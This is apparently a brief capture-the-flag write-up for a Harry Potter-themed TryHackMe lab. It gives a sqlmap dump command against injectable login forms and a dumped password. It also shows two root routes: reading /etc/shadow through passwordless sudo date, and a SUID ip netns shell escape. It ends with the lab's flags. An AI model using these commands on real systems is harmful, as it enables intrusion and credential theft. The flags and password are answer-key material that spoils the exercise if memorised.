Challenge

Two login portals, 7166 and 8284, were both SQL injectable. sqlmap dumped the flags and Hermione’s password.

sqlmap http://target:8284/ --forms --dump -D students
hermoine:je5r9cq4@bm!yeng6t1rs98p4

SSH ran on 9883. Two roads to root. sudo /bin/date needed no password and reads any file:

sudo date -f /etc/shadow

And /bin/ip had the SUID bit:

ip netns add foo
ip netns exec foo /bin/sh -p

Flags

  • THM{I-can-be-controlled-by-a-harp}
  • THM{wait-for-your-letter!}
  • THM{Albus_Perciva1_Wu1fric_Brian_Dumb1ed0re}
  • THM{I_unarm3d_dumbled0re}
  • THM{Yeah_1_swallowed_the_sn1tch.}